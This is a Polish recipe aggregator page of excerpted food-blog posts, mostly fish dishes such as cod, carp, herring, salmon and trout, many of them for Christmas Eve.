kolejna potrawa wigilijna, która jest tradycją w naszym domu, wszyscy bardzo ją lubimy RYBY W ZALEWIE POMIDOROWEJ .  SKŁADNIKI: 1kg. filetów z mintaju lub z morszczuka cebula  ogórek konserwowy 2-3 jajek masło klarowane ZALEWA: 2 szkl. wody 1/2 szkl. oliwy 2-3 łyżek cukru 3 łyżki kechupu 1 mały przecier pomidorowy 6 łyżek octu sól, pieprz, ziele(...)kroimy na kawałki, przyprawiamy solą i pieprzem, maczamy w rozkłóconym jajku i bułce tartej smażymy na rozgrzanym klarowanym maśle, ogórek i cebulę kroimy w kostkę, potrawę układamy w misce: ryby na przemian z ogórkiem i cebulą, całość zalewamy gorącą zalewą A teraz rozkoszujemy się smakiem, smacznego

Kuchnia Beaty
Dorsz w chrupiącej panierce. 129

mojej kuchni wśród ryb króluje dorsz, wszyscy bardzo lubimy białe mięsko tej rybki. Najczęściej przygotowuję ją w chrupiącej panierce, choć bardzo lubię również z grilla i gotowanego z warzywami. SKŁADNIKI: filet z dorsza 2 garście płatków kukurydzianych 4 garście bułki tartej cytryna 2 jajka, 2-3 łyżki mąki sól, pieprz, papryka ostra, vegeta WYKONANIE: filet pociąć na kawałki, posypać(...)przygotować panierkę: płatki kukurydziane rozwałkowujemy na drobno, dodajemy bułkę i przyprawy, jajko trzeba rozkłócić i dobrze wymieszać z mąką, na patelni rozpuszczamy masło klarowane- 1 łyżkę, rybę zanużamy w cieście, panierujemy i smażymy na wolnym ogniu

Kuchnia Beaty
Korniszony w zalewie pomidorowej. 114

Witam postanowiłam w tym roku puścić wodze fantazji i zrobić ogórki na różne sposoby. Zainspirowana RYBAMI W ZALEWIE POMIDOROWEJ (przepis we wcześniejszym poście) pomyślałam, że skoro ryby w tej zalewie tak dobrze komponują się z ogórkami konserwowymi, to same ogórki w podobnej zalewie muszą być równie pyszne. Tak, więc do dzieła... SKŁADNIKI: 2 kg małych ogórków, ZALEWA

Kuchnia Beaty
Dorsz zapiekany pod szpinakiem i mozzarellą. 453

Jeśli lubicie ryby z odrobiną finezji to danie dla Was. Dorsz to ulubiona ryba w naszym domu, no może jeszcze łosoś w niektórych odsłonach, ale o tym innym razem! SKŁADNIKI: filet z dorsza około 600gr. szpinak mrożony lub świeży 4-5 ząbków czosnku sól, pieprz, odrobina gałki muszkatołowej,  vegeta, inne ulubione przyprawy lub zioła 1-2 łyżki masła(...)szpinak, sól, pieprz, czosnek przeciśnięty przez praskę, gałkę i smażymy na małym ogniu, około 20 min., pod koniec smażenia dodajemy jogurt naturalny, mieszamy, odstawiamy, naczynie żaroodporne smarujemy masłem, układamy rybę (wcześniej posypaną solą, pieprzem, vegetą...),  kładziemy na wierzch szpinak, przykrywamy folią aluminiową (którą nakłuwamy, aby potrawa odparowywała),  pieczemy w piekarniku w temp. 200 stopni, 15 min., usuwamy folię

Kuchnia Beaty
Wigilijny karp smażony 241

cytryna olej do smażenia  PRZYGOTOWANIE: Karpia oczyszczamy z łusek, usuwamy płetwy i kroimy na kawałki dowolnej wielkości. Kawałki ryby przekładamy do garnka i zalewamy mlekiem. Ja moczę rybę w mleku kilka godzin. Następnie wyciągamy, osuszamy, delikatnie oprószamy solą i pieprzem i panierujemy w roztrzepanych jajkach i bułce tartej. Smażymy na rozgrzanym oleju z obu stron. Zaczynamy od strony

Kulinarny Świat Konczi i Szpileczki
Karp nadziewany z pieczarkami. 140

aluminiowa Sposób wykonania : Farsz : Włoszczyznę obrać,opłukać,zalać około 2 litrami zimnej wody.Następnie dodać opłukane filety rybne i przyprawy. Wywar gotować przez 30 minut,a następnie wyjąć warzywa,rybę i przecedzić. Filety zemleć lub rozdrobnić w mikserze. Pieczarki opłukać,kilka pokroić w grube plastry,a resztę drobno posiekać. cebulę obrać,drobno posiekać,podsmażyć na maśle wraz z pieczarkami. wymieszać(...)ugotowanymi zmielonymi filetami rybnymi. dodać jajko,kaszę sól i pieprz,wymieszać.  Karp : karpia sprawić,opłukać i pokroić w dzwonka.dzwonki karpia napełnić farszem,pozszywań końce dzwonka. Rybę złożyć w całość,zawinąć ciasno w folię aluminiową,nakłuć w kilku miejscach. Rybę włożyć do wywaru i gotować na małym ogniu przez 20 minut. Ugotowane dzwonki ostudzić,osączyć,ułożyć na półmisku. Ozdobić plasterkami

Przepisy i porady kulinarne
Pstrąg łososiowy z cytrynowym pieprzem 137

Składniki: 1 kg pstrąga łososiowego skórka z cytryny sól morska pieprz cytrynowy kurkuma sok z 1/2 cytryny Wykonanie: Rybę umyć, osuszyć i usunąć wszystkie ości. Pokroić pstrąga na kawałki. Cytrynę sparzyć, umyć i zetrzeć na tarce skórkę. Tylko żółtą część. Sól, pieprz cytrynowy,kurkumę wymieszać razem, a następnie oprószyć kawałki pstrąga. Rozgrzać patelnię grillową i układać rybę skórą do dołu(...)następnie obrócić. Grillować nie zbyt długo, aby ryba była soczysta. Podawać skropioną sokiem z cytryny

O kuchni z uczuciem
Zupa Wietnamska Tom Yum 106

samą kuchnię, posiada cechy odróżniające go od reszty. Hue słynie z ostrych, aromatycznych potraw i oryginalnego ich podawania. W Sajgonie do potraw dodawane jest więcej warzyw, owoców i ryb, natomiast w Hanoi potrawy przygotowywane są w prosty i szybki sposób. Do przyrządzenia większości potraw potrzebne są orientalne składniki, m.in. trawa cytrynowa, czy mong toi. Restauracje wietnamskie znajdujące się poza(...)więc sprowadzać niektóre przyprawy z kraju. Podstawą kuchni wietnamskiej są świeże i zdrowe składniki – różnego rodzaju warzywa, z których przygotowywane są rozmaite sałatki , owoce, często pełniące role deserów orientalnych, ryby, czy owoce morza, niezbędne do przyrządzenia niektórych zup (np. zupy krewetkowej). Tradycyjne wietnamskie dania to: popularna zupa – uwielbiana przez Wietnamczyków i sajgonki – uwielbiane przez Polaków, choć nieco zmienione

ClauditteMissCooking
Dorada - filety 116

Składniki: 2 świeże Dorady przyprawy: sól czosnkowa, pieprz cytrynowy, zioła prowansalskie sok z 1/2 cytryny oliwa z oliwek ewentualnie mąka jeśli chcemy mieć rybę w panierce Przygotowanie: Ryby myjemy i filetujemy. Pozbywamy się ości, najlepiej jak jest to tylko możliwe. Skórkę pozostawiamy. Z każdej strony filety rybne skrapiamy sokiem z cytryny i przyprawiamy delikatnie przyprawiamy. Odstawiamy do lodówki

ClauditteMissCooking
Urlop z dzieckiem....czyli co zjeść i gdzie. Miejsca przyjazne dzieciom. 162

Zupy takie bardzo po domowemu. Klimat miejsca bardzo czarujący i bajkowy, zwłaszcza gdy robi się już ciemno. Miejsce w 100% przyjazne dla dzieci. Przepyszne zupy i kiełbaski z grilla. Ryby wędzone... Nie ma udanego wyjazdu nad morze bez zjedzenie tego specjału. Ja znalazłam swoje miejsce, swoją budkę wzdłuż ulicy Rodziewiczówny.   Gdzie na loda? Jak na lody to tylko(...)podniebienia. Dla syna wybrałam zupę krem z soczewicy ja zaś zjadłam słynną sałatkę Magdy Gessler "sałatka Bombay". POLECAM!!!! Tawerna Wikingów... Czyli najlepsza pizza, zupa pomidorowa, flaczki z kalmara i ryby z pieca. Nie ma co więcej pisać. Tam po prostu trzeba koniecznie pójść i coś zjeść a wrócicie tam za każdym razem. Coś na ząb Jeżeli masz ochotę bardzo

ClauditteMissCooking
Mój tata wymiata !!! Rodzinne gotowanie. Zdrowe kotleciki z indyka. 162

niedźwiedzi wspomaga trawienie, a dodany do innych potraw, skutecznie eliminuje niekorzystne związki zawarte w wysoko przetworzonych produktach. Czosnku niedźwiedziego warto używać do potraw z wieprzowiny, baraniny, drobiu, dziczyzny i ryb. W postaci suszonej doskonale wzbogaca aromat i smak kiełbas, szynek czy pasztetów. Cebula należy do najbardziej znanych w świecie warzyw, nie tylko ze względu ma swój smak, ale także(...)Świetny na dietę Najchudsze partie z indyczego mięsa zawierają zaledwie 5% tłuszczu. Nawet jeśli kawałek jest nieco tłustszy, są to głównie dobre nienasycone kwasy tłuszczowe, podobnie jak w rybach. Nie przyczyniają się one do wzrostu poziomu cholesterolu we krwi. Mięso indyka w 10 dag ma zaledwie 140 kcal. Indyk jest uwielbiany przez dietetyków, którzy bardzo często polecają go swoim

ClauditteMissCooking
Jak zacząć ? 158

wytrwać nam w postanowieniu: słone i słodkie przekąski, dania gotowe, zupy oraz sosy w proszku, wędliny paczkowane itp. Kupujemy warzywa, owoce (głównie sezonowe), produkty zbożowe (pełnoziarniste), nabiał, chude mięsa, ryby a także zaopatrujemy się w wodę, herbaty, zioła oraz przyprawy. Pamiętajmy, że należy czytać etykiety na wszystkich produktach jakie lądują w koszyku(...)PRZESTRZEGAMY ZASAD RACJONALNEGO ŻYWIENIA Jemy 5 posiłków dziennie w regularnych odstępach. Codziennie jemy 2 porcje owoców i 3 warzyw. Mięso (chude) spożywamy dwa razy w tygodniu tak samo ryby. Należy ograniczyć tłuszcz, głównie zwierzęcy, zastępujemy go roślinnymi. Do codziennej diety włączamy produkty zbożowe (pełnoziarniste). Uważamy na doprawianie produktów solą, dziennie staramy się by nie przekroczyć 1 łyżeczki soli. Regularnie

Życie na widelcu
Dorsz w porowych papilotach z puree z topinamburu z szafranem i surówką z białej rzodkwi. 166

być z łososia, ale dorsz był jedyną świeżą rybą dziś!),  nacieramy solą i pieprzem, smażymy od strony skórki, aż się zrumieni. Nie przewracamy, solimy i pieprzymy od góry. Odstawiamy. Na innej patelni na maśle klarowanym szklimy, posiekanego w krążki pora, podlewamy winem i czekamy aż odparuje. Przekładamy por na górę ryby i wstawiamy na 8 minut do piekarnika

BaRepas
Mój paprykarz rybny 178

pozostałym po smażeniu ryby Umytą paprykę oczyścić z pestek, pokroić dość drobno (ja pokroiłam za grubo) i dodać do zeszklonej cebuli- wymieszać i smażyć chwilę razem, dodać pokruszoną rybę i ponownie wymieszać Dodać koncentrat, carry, paprykę keczup, sól i pieprz do smaku oraz tyle soku z cytryny by całość przypominała nam ulubiony paprykarz :), ale dla mnie jest o niebo

Proste Potrawy
ryba w cieście 104

szatkujemy drobno; podsmazamy je razem z cebulkami, doprawiamy do smaku. Rybe przyprawiamy z obu stron. Wyrosniete ciasto dzielimy na 2 czesci. Z pierwszej walkujemy placek i wycinamy nozem ksztalt ryby. Delikatnie przenosimy na blache(...)wczesniej trzeba ja posmarowac maslem i podsypac maka). Brzegi rybki smarujmey bialkiem i z pozostalego po wycieciu ciasta doczepiamy paseczki, tak by farsz nam nie wypadl. Na wyciety tulów ryby kladziemy filety rybne, nakladamy pieczarki i wyrównujemy. Walkujemy druga czesc ciasta i za pomoca malej szklanki lub kieliszka wycinamy krazki (to bedzie luska i oko). Nozem wycinamy takze ogon

w mojej kuchni
Karnawałowe grillowanie – wyjątkowe marynaty i przepisy 251

Alkohole na podstawie owoców bardzo dobrze pasują do marynowania drobiu, wieprzowiny czy wołowiny, podczas gdy wódka, gin czy tequila będą idealnie pasowały do szybkiego marynowania owoców morza, ryb i niektórych kawałków drobiu. Dodawanie soków owocowych do alkoholi w marynatach pomaga rozpraszać moc alkoholu i dodaje marynowanemu mięsu przyjemną naturalną słodycz jak również zapewnia dodatkową kwasowość niezbędną w procesie marynowania(...)doprowadzić do wrzenia. Zdjąć z ognia i odstawić na bok. Łososia położyć na dużym arkuszu folii aluminiowej, zawinąć jej boki tworząc prowizoryczną patelnię (nie dociskać boków do łososia). Rybę polać przygotowanym sosem grillować przez około 2 godziny w temperaturze 120 ° C , następnie rozciąć boki foli i je odgiąć i pozwolić grillować się jeszcze przez około godzinę. Karnawałowe grillowanie – wyjątkowe marynaty

naRuszcie
Gravlax z sosem pomarańczowo-musztardowym 161

łosoś,  wywodzi się ze średniowiecza, kiedy to rybacy solili łososie i zakopywali w piasku, w miejscu napływania fal morskich by lekko sfermentowały. Obecnie nie stosuje się już fermentacji. Ryby przyrządza się w marynacie, w ciągu kilku dni. Surowy łosoś potraktowany w ten sposób przypomina w konsystencji łososia wędzonego na zimno, ale jego smak jest o niebo bogatszy. Najlepiej(...)wystawał ani skrawek mięsa, dobrze dociskając. Przykrywamy kilkoma warstwami przezroczystej folii, obciążamy np słoikami z przetworami. Wstawiamy do lodówki na 14 godzin. Przed podaniem zdejmujemy cukier z solą, osuszamy rybę i kroimy w cienkie plastry. Robimy sos: do zamykanego słoika dajemy wszystkie składniki sosu, zakręcamy i potrząsamy dynamicznie, aż wszystkie składniki sosu połączą się. Plastry łososia podajemy polane sosem, posypane

Smakowity Blog Kulinarny
Leszcz pieczony 164

Dziś na obiadek zrobiłam...leszcza! Leszcz jest rybą słodkowodną, o delikatnym, średnio ościstym ciele i chudym mięsie. Można z niego przyrządzić wiele smacznych i tanich potraw. Leszcz   doskonale nadaję się do  gotowania ,  duszenia ,  pieczenia czy zapiekania . Leszcz ma białe, chude mięso.  Ja mojego leszcze po prostu aromatycznie upiekę w brytfannie Toscana marki Florina(...)pomarańczowym. Natrzyj dokładnie pieprzem ziołowym ze wszystkich stron i w środku. Potraktuj kolorowym pieprzem prosto z młynka. Posyp gotową mieszanką- pomidor,szczypiorek,sól morska. Na zewnątrz i w środku ryby. Polej oliwa z oliwek. Nałóż pokrywę na brytfannę Toscana i włóż do nagrzanego piekarnika , na 190 stopni, góra i dół. Piecz tak około pół godziny. Po czym wyłącz piekarnik

Z Kuchni Do Kuchni
Sałatka śledziowa 370

Śledzie zaliczamy do tłustych ryb, 100 g dostarcza 160 kcal. Mają sporo potasu, kwasu omega(...)Spora ilość tłuszczu w śledziu to jego zaleta, aż 70 proc. tego tłuszczu stanowią dobroczynne dla zdrowia kwasy tłuszczowe jedno- i wielonienasycone, szczególnie cenny jest kwas EPA. Ryby te  są bogatym źródłem witamin A i D oraz E, sporo witaminy B6 oraz witaminy B12. Śledzie dostarczają także sporą dawkę  żelaza, cynku i miedzi oraz fosforu i jodu

kgwjanczewo
Ryba po japońsku. 141

Ciasto: 1 jajko 3 łyżki mąki pszennej 1/2 szklanki mleka sól Wykonanie: Filety dorsza posypać solą i pieprzem ziołowym. W miseczce wymieszać wszystkie składniki ciasta i zanurzać w nim rybę. Na patelni rozgrzać olej i smażyć na rumiany kolor rybę w cieście z obu stron. Wyłożyć na półmisek do wystygnięcia. Cebulę pokrój w piórka. Do rondla wlać odrobinę oleju(...)zeszklić cebulę, a następnie dodać ketchup,olej,ocet,wodę,koncentrat pomidorowy i wszystko zagotować. Dodać ogórki i paprykę pokrojone w paseczki.. Gotować około 2 min. Rybę zalać przygotowaną ciepłą zalewą

O kuchni z uczuciem
Wszechstronna marynata z kolendrą 152

marynata łączy w sobie wiele smaków. Ta marynata jest idealna dla wołowiny, drobiu, wieprzowiny a nawet ryb. Czas przygotowania: 15 minut; Wydajność: ¾ filiżanki Składniki: ¼ szklanki liści świeżej kolendry (drobno posiekanej) skórka i sok z jednej cytryny 2 łyżki octu balsamicznego 2 łyżki oliwy z oliwek 1-2 wyciśnięte ząbki czosnku 1 łyżka musztardy Dijon 1 łyżeczki soli morskiej(...)średnim naczyniu wymieszać ocet balsamiczny, sok z cytryny. Powoli mieszając dodać oliwę z oliwek, musztardę Dijon, kolendrę, skórkę z cytryny, sól i pieprz. W tak przygotowanej marynacie marynować: ryby nie więcej niż 30 minut; drób i wieprzowinę 1 godzinę a wołowinę około 6-8 godzin. Marynatę używać natychmiast po przygotowaniu albo nie później niż 2-3 dni po przygotowaniu

naRuszcie
Wstążki z łososiem w delikatnym sosie śmietanowym 209

delikatnym sosie śmietanowym 150 g makaronu wstążki 150g świeżego łososia 4 łyżki śmietany  1 cebula 3 ząbki czosnku masło koper sól, pieprz  5 pomidorów koktajlowych przyprawa do ryb Makaron gotujemy zgodnie z opisem podanym na opakowaniu.  Kiedy makaron będzie się gotował możemy się zająć naszym błyskawicznym sosem:  Rozpuszczamy masełko na patelni. Wrzucamy drobno posiekane ząbki(...)pomidorki koktajlowe i dodajemy do czosnku i cebuli. Dusimy lekko, a w tym czasie możemy pokroić łososia. Kroimy go w kostkę. Dodajemy na patelnię.  Posypujemy lekko przyprawą do ryb dla podkreślenia smaku. Podsmażamy około 2 minut i dodajemy śmietanę.  Całość podsmażamy około 3 minut, Posypujemy delikatnie koperkiem, mieszamy.  Podajemy makaron z sosem.  Można zrobić wersję

Kuchnia moimi oczami
Ryba pieczona pod ziołową kruszonką - czarniak 198

Ryba pod kruszonką. Użyłam czarniaka ale można go zastąpić inną np. łososiem. Czas przygotowania: 40 minut Porcje: 2     Składniki: filet z czarniaka ok. 500 g, 2-3 kromki czerstwego pieczywa, 4 łyżki masła, 2 ząbki czosnku, ½ szklanki natki pietruszki, 6 suszonych pomidorów, 3 łyżki czarnych oliwek bez pestek, 1 cytryna, sól i pieprz. Przygotowanie: Rybę skropić sokiem(...)pietruszką, dodać  masło, posiekane oliwki i pomidory, skórkę otartą z cytryny, sól i pieprz. Całość wymieszać i wstawić do zamrażalki na 15 minut.  Zimną masę wyłożyć na rybę, wstawić do piekarnika nagrzanego do 190°C, po 7 minutach zwiększyć temperaturę do 200 C i piec kolejne 7 minut, aż kruszonka będzie chrupiąca

SzczyptaSmaQ
Morszczuk na szpinakowej poduszce :) 118

właściwości pomocnych z zwalczaniu nałogów związanych z nadużywaniem alkoholu czy paleniem papierosów. Ja osobiście nie mam takich problemów, ale skrobię bardzo lubię i używam :) Składniki: - filet morszczuka lub innej ryby - 300 g szpinaku (u mnie mrożony) - przyprawy: sól, pieprz ziołowy, pieprz prawdziwy, szczypta chili - 1 ząbek czosnku - 2 łyżki mleka - 1 łyżeczka skrobi kuzu lub innego zagęstnika - 3 łyżki(...)kubeczku rozrobić skrobię z mlekiem, dodać jogurt i jajko, wymieszać. Zawiesinę wlać do szpinaku i gotować na mniejszym ogniu, cały czas mieszając przez ok. 5 minut. Podawać z filetem ryby. Smacznego

Zdrowie na języku :P
Łosoś w sosie z różowych grejpfrutów 242

pieprz  SOS: 3 żółtka Grajpfrut płaska łyżeczka kolendry 100 ml oliwy z oliwek kilka listków mięty SAŁATKA: sałata rzymska pęczek białych szparagów czerwona cebula sos winegre Przygotowanie: RYBA: Wyfiletowany płat łososia dokładnie myję i osuszam ręcznikiem papierowym nacieram sola i pieprzem. Rozkładam folię aluminiową układam na nią kilka listków laurowych, kilka gałązek tymianku, pietruszki i mięty oraz 4 grube(...)folię kładę płat łososia na który ponownie układam kilka listków laurowych, kilka gałązek tymianku, pietruszki i mięty oraz 4 grube plastry cytryny. Folię szczelnie zawijam tak aby odstawała od ryby. Zapakowana rybę wkładam do żaroodpornego naczynia i kładę do nagrzanego piekarnika. Piekę około 15 minut. SOS: Szoruję i sparzam gerjpfruta a następnie ścieram skórkę z połowy owocu na drobnej

Magiczna kuchnia Darii
Dynia z bakłażanem w mleku kokosowym / Pumpkin and eggplant in coconut milk 219

stylu wschodnim. Moja ulubiona dynia, tym razem w towarzystwie bakłażana duszone w mleku kokosowym tworzą zaskakująco smaczną kompozycję. Sprawdzi się tak samo dobrze jako dodatek do mięs jaki i ryb, niekoniecznie na sposób wschodni. Po uduszeniu można je też zmiksować na gładkie puree, ja jednak tym razem zostawiłam je w całości. Warto eksperymentować z nowymi smakami, zachęcam i polecam(...)sosu rybnego sól i pieprz Przygotowanie: W głębokiej patelni, na średnim ogniu rozgrzej olej i wrzuć cebulę z czosnkiem. Podsmaż przez kilka minut do zeszklenia. Dodaj dynię, bakłażana i ryby sos i smaż przez kolejne 2-3 minuty. Następnie wlej mleko kokosowe, doprowadź całość do wrzenia, po czym zmniejsz ogień do małego i duś warzywa prawie do miękkości, przez

karmelowy
sałatka jarzynowa z surimi 317

niektórzy nazywają je paluszkami krabowymi, chociaż z krabami te paluszki nie mają nic wspólnego, gdyż są przygotowywane z mięsa ryb, często z dorsza, czy też innej białej morskiej ryby, oraz z lekkim, odtłuszczonym majonezem. Sylwestrowa sałatka jarzynowa z surimi jest smaczna, lekka i pożywna, doskonale sprawdzi się w karnawałowym menu. składniki: 5 ziemniaków ugotowanych w mundurkach warzywa ugotowane

Damsko-męskie spojrzenie na kuchnię
Pasta rybna 151

składniki * 1 puszka dowolnej ryby w oleju * 100 g żółtego sera * 2 ogórki konserwowe * 1 średnia cebula * 3 łyżki masła(...)roślinnego lub margaryny do smarowania pieczywa * sól, pieprz Sposób wykonania Ser i ogórki zetrzeć na średniej lub grubej tarce do jarzyn, cebulę obrać i pokroić w drobną kosteczkę. Wyjąć rybę z puszki wraz z olejem do miski, dodać ser, ogórki, cebulę i masło roślinne i wszystko razem dokładnie wymieszać, a następnie doprawić solą i pieprzem do smaku.  Przed podaniem

Mix smaku
Złociste plaże = złocista sola 168

nadchodzącego wyjazdu na wyspy hiszpańskie. Chodzę ciągle uśmiechnięta, nucę pod nosem i oczom wszystkich ukazuje się moje najlepsze "ja". Także w kuchni udziela mi się "gorący" nastrój. Już niedługo ryby i owoce morza będą stanowiły główny składnik mojej diety, toteż przygotowuję organizm na powrót do nadmorskich korzeni;) Dziś przygotowałam "Złocistą złocicę" z przepisu Nigelli. Będziecie o niej sporo czytać(...)listków estragonu i natki pietruszki.  Na patelni rozgrzej tyle oliwy, by pokryła dno warstwą 2-3 mm. Usmaż filety w 1-2 minuty, by panierka była chrupka, a ryba w środku mięciutka. Przed podaniem rozłóż filety na ręczniku papierowym, by obciekły. Podawaj z sosem tatarskim i czym chcesz: sałatą, ziemniakami, fasolką szparagową lub jajkami przepiórczymi.  Smacznego

Gotowanie to kochanie
Potrawy wegetariańskie 233

dziale znajdziecie przepisy na dania niezawierające mięsa i drobiu, a oparte na warzywach, owocach i zbożach z dodatkiem produktów mlecznych i jajek. Jeżeli szukacie dań z rybami, zapraszam do działu Ryby i owoce morza , a jeżeli szukacie dań wegańskich - do działu Potrawy wegańskie . Sałatka z ciecierzycy Penne z pieczonym kalafiorem Farrotto z grzybami Sałatka z pszenicy farro Ślimaki

Chilli Czosnek i Oliwa
Smażony łosoś w ziołach 152

Łosoś to zdecydowanie jedna z moich ulubionych ryb. Ostatnio musiałam przyrządzić go "na szybko", użyłam więc tego, co miałam pod ręką, skutkiem czego powstała ta propozycja, którą szczerze polecam :)Składniki:- filety z łososia- cytryna- zioła prowansalskie- rozmaryn- tymianek- kurkuma- sól- pieprz- tłuszcz do smażenia Filetów używamy tyle, ile jest nam potrzebne - ja miałam jeden dość duży, który pokroiłam(...)smalcu. Nie polecałabym za to zwykłej margaryny do smażenia, jest w niej moim zdaniem za dużo wody.Czas smażenia nie jest długi - wystarczy raptem kilka minut z każdej strony. Gotową rybę podajemy na gorąco z ulubionymi dodatkami, świetnie smakuje również na zimno jako przekąska.Smacznego

Kulinarne zapędy Kokosa
Czarniak z Pomidorami, Boczkiem i Pistacjami czyli Środowe Rybki odc.18 114

ubiegły weekend miałam przyjemność po raz kolejny obejrzeć w tv program Jamiego Olivera na temat ryb. Mówił o gatunkach zagrożonych, o tych alternatywnych, tak mało popularnych w kuchni rybach, które są równie pyszne co te masowo odławiane. Tym razem oglądałam program z Córcią. W pewnym momencie, gdy pojawił się jeden z przepisów, usłyszałam "mamo ale to musi być

Dzieje kuchennej Wiewióry
Gulasz rybny jednogarnkowy czyli Środowe Rybki odc.31 162

czystym sumieniem zasiądę do Top Chefa. Danie z ryb jakie dzisiaj przyrządziłam jest naprawdę pyszne choć pachnie z początku mało zachęcająco (zniewalające połączenie cebulowych i gotowanej ryby...). Przepis

Dzieje kuchennej Wiewióry
Ziołowa,pieczona makrela z papryką i pomidorami 110

pomidor pokrojony w plastrysól jodowana,1 ząbek czosnkupieprz cytrynowy1 cytrynaRybę myjemy, następnie skrapiamy cytryną, posypujemy solą, pieprzem, oraz przeciśniętym czosnkiem (od środka oraz na zewnątrz skóry). Do środka ryby wkładamy całe gałązki ziół oraz płatki papryki. Rozwijamy folię aluminiową, układamy na niej plastry pomidorów a na nie makrelę. Zawijamy folię.  Pieczemy w 180 stopniach

Bon Appetit Małgorzaty
Dorsz w sosie cytrynowo-bazyliowym z kaparami na domowym makaronie 161

moim pokoju :) Niby taki domowy makaron to dużo zachodu, i nie opłaca się przy niskich cenach w sklepie, ale smakuje całkiem inaczej :) Szczególnie jak jest bardzo jajeczny :) Rybę podałam z sosem beszamelowym, doprawionym cytryną, ziołami i kurkumą, która dodała piękny kolor. Składniki na 2 porcje:2 filety z dorsza sól, pieprz, olej do smażeniaSos beszamelowo - cytrynowy:2 łyżki

Bon Appetit Małgorzaty
Pieczony łosoś z koperkiem i cytryną 116

łyżki siekanego koperku sól do smaku słodka mielona papryka Sposób wykonania: 1. Rybę nacieramy słodką mieloną papryką. 2. Masło roztapiamy, uważamy, aby go nie przypalić. Zdejmujemy z ognia i dodajemy sok z cytryny, koperek i solimy do smaku. 3. W naczyniu żaroodpornym układamy ryby, polewamy masłem z przyprawami, pieczemy w piekarniku rozgrzanym do 180 st. przez 20-30 minut

Kuchnia domowa Ani
Śledzie w oleju z cebulką 13128

odtworzyć ten smak w zaciszu domowym i tak powstał przepis, który znajdziecie tutaj: Leczo rybne a’la SekoPolecam również: Śledzie opiekane w zalewie octowej.Dość jednak o tych wszystkich rybach i przejdźmy do sedna sprawy :)) Poniżej przepis na przepyszne filety śledziowe w oleju z cebulką!Śledzie w oleju z cebulką – Składniki:Matiasy (płaty śledziowe solone

Kulinarne Przeboje
Karp pieczony w korzeniach 278

grube pół plastry.Rybę położyć na plastrach cytryny, położyć gałązki kolendry, a dookoła usmażone pieczarki, pomidor i oliwki. Wlać 1/3 kubka wody.Piec w temp.240 stopni.30 minut, często polewając rybę, aż będzie upieczona w środku

Kulinarny karnet Christophera
Janssons Frestelse - szwedzka zapiekanka bożonarodzeniowa 236

Wigilijnym stole królują ryby i śledzie, tak samo żaden szanujący się Szwed nie wyobraża sobie Bożego Narodzenia bez tej potrawy. Janssons Frestelse, czyli Pokusa Janssona to klasyczna kremowa zapiekanka z ziemniaków, cebuli i sardeli (anchois), przyprawiona białym pieprzem i obficie posypana tartą bułką. Pamiętam moje zdziwienie, jak po raz pierwszy moi szwedzcy znajomi mi ją zaserwowali(...)masłobułka tartaPrzygotowanie:Ziemniaki oraz cebulę obierz i pokrój w paski. Sardelę drobno posiekaj i wymieszaj z resztą składników. Wszystko dopraw pieprzem (sól jest niepotrzebna ze względu na słony smak ryby) i wrzuć do żaroodpornego naczynia wysmarowanego masłem. Zalej wszystko kremówką (powinna przykrywać ziemniaki), wierzch posyp tartą bułką i połóż nań kilka plasterków masła (opcjonalnie). Zapiekankę wstaw do piekarnika nagrzanego

Food Square
Krokiety z wędzonej makreli 183

Ostatnio regularnie kupuję wędzone ryby. I czasem okazuje się, że nie mam ochoty robić z nich kolejnej pasty do kanapek. Tym razem wpadłam na pomysł zrobienia krokietów (a może  kotletów) Nigdy wcześniej takich nie robiłam, a okazały się pyszne!  Będę robiła częściej. składniki krokiety 170 g ziemniaków, ugotowanych 100 g makreli wędzonej, obranej 1 mała cebula, pokrojona(...)pomidory suszone - bardzo drobno posiekane ząbek czosnku, posiekany koperek sól pieprz Przygotowanie Wymieszać wszystkie składniki sosu  Ziemniaki przepuścić przez praskę. Makrelę rozdrobnić. W misce wymieszać wszystkie składniki : ziemniaki, rybę,cebulę, czosnek, koperek, jajo, paprykę. Dosypać bułkę, dobrze wymieszać, doprawić solą i pieprzem w razie potrzeby. Formować nieduże krokiety obtaczać w bułce tartej. Na patelni rozgrzać olej, smażyć kotlety

Stare Gary
Dorsz w nalesnikowym ciescie piwnym 185

Jesli nie przepadasz za ryba w klasycznej panierce,moze skusi Cie ryba smazona w ciescie piwnym? Robilam dorsza  w ten sposob po raz pierwszy i bardzo ciekawa bylam jego smaku.Ryba przygotowana w ten sposob jest bardzo soczysta w srodku,a smak piwa  jest w ogole niewyczuwalny,tak jak i rybi zapach gdzies sie ulotnil.Smakowala nam,choc nadal wole(...)lyzki maki Wykonanie: przygotowac ciasto: make wymieszac z piwem na gladka mase bez grudek,dodac jajko i przyprawy.Odstawic na pol godziny.Ciasto ma byc geste,nie moze sciekac z ryby rybe umyc ,pokroic na porcje ,skropic sokiem z cytryny i posolic filety obtaczac w mace,nastepnie w ciescie piwnym i smazyc na rozgrzanym oleju  z obydwu stron do zrumienienia.Odkladac

Gotuj zdrowo!Guten Appetit!
Ziołowy sos beszamelowy-prawie wszystko o beszamelu 211

dodac lyzke wiorkow kokosowych,lyzke curry i lyzke musu jablkowego.Rozrzedzic slodka smietanka.Pasuje do kurczaka,ryb i ryzu sos musztardowy- do sosu podstawowego dodac 1 lyzke musztardy.Podprawic maslem.Podawac do ryb i jajek na twardo i wkoszulkach sos mornay- do sosu beszamelowego dodac czubata lyzke tartego,ostrego sera.Znakomity do zapiekanek i warzyw z wody zrodlo:Kuchnia polska-rodzaje sosow

Gotuj zdrowo!Guten Appetit!
SUSHI 184

zanim zacznę post właściwy, czyli składniki i sposób wykonania, słów kilka ode mnie o sushi. Dziwnie jest mówić o "przepisie" na sushi, kiedy tak naprawdę zawijamy ugotowany ryż i rybę lub warzywa w wodorosty. Cały sekret polega na nierozgotowaniu ryżu i dodaniu do niego zaprawy octowej. Później juź tylko rolowanie sushi i degustacja. Tak sie składa, że na dźwięk słowa(...)tylko dla wybrańców, poza tym jest stanowczo za drogie w restauracjach. Krzywią się zaś najczęściej ci, którzy sushi nie jedli wogóle, albo jedli w jakieś kiepskiej knajpie albo świeża ryba, którą jedli w sushi wcale nie była świeża. Oczywiste jest, że sushi nie każdemu musi smakować, ale myślę, że każdy powinien choć je skosztować i spróbować znaleźć swój ulubiony smak

Słodko-Słony Świat Ilony
Bitwa Na Smaki 141

